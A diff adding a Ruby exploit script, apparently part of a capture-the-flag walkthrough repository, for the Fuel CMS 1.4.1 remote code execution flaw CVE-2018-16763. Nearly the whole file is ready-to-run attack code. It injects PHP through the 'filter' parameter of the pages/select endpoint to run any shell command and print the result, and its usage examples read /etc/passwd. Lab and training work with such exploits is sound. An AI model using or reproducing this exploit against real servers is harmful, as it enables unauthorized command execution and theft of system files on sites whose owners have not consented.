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Walkthroughs/VulnerabilityCapstone/exploit.rb

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+# Title: Fuel CMS 1.4.1 - Remote Code Execution (2)
+# Exploit Author: Alexandre ZANNI
+# Date: 2020-11-14
+# Vendor Homepage: https://www.getfuelcms.com/
+# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
+# Version: <= 1.4.1
+# Tested on: Ubuntu 16.04
+# CVE : CVE-2018-16763
+# References: https://www.exploit-db.com/exploits/47138
+
+#!/usr/bin/env ruby
+
+require 'httpclient'
+require 'docopt'
+
+# dirty workaround to ignore Max-Age
+# https://github.com/nahi/httpclient/issues/242#issuecomment-69013932
+$VERBOSE = nil
+
+doc = <<~DOCOPT
+  Fuel CMS 1.4 - Remote Code Execution
+
+  Usage:
+    #{__FILE__} <url> <cmd>
+    #{__FILE__} -h | --help
+
+  Options:
+    <url>         Root URL (base path) including HTTP scheme, port and root folder
+    <cmd>         The system command to execute
+    -h, --help    Show this screen
+
+  Examples:
+    #{__FILE__} http://example.org id
+    #{__FILE__} https://example.org:8443/fuelcms 'cat /etc/passwd'
+DOCOPT
+
+def exploit(client, root_url, cmd)
+  url = root_url + "/fuel/pages/select/?filter='%2Bpi(print(%24a%3D'system'))%2B%24a('#{cmd}')%2B'"
+
+  res = client.get(url)
+
+  /system(.+?)<div/mx.match(res.body).captures[0].chomp
+end
+
+begin
+  args = Docopt.docopt(doc)
+  clnt = HTTPClient.new
+  puts exploit(clnt, args['<url>'], args['<cmd>'])
+rescue Docopt::Exit => e
+  puts e.message
+end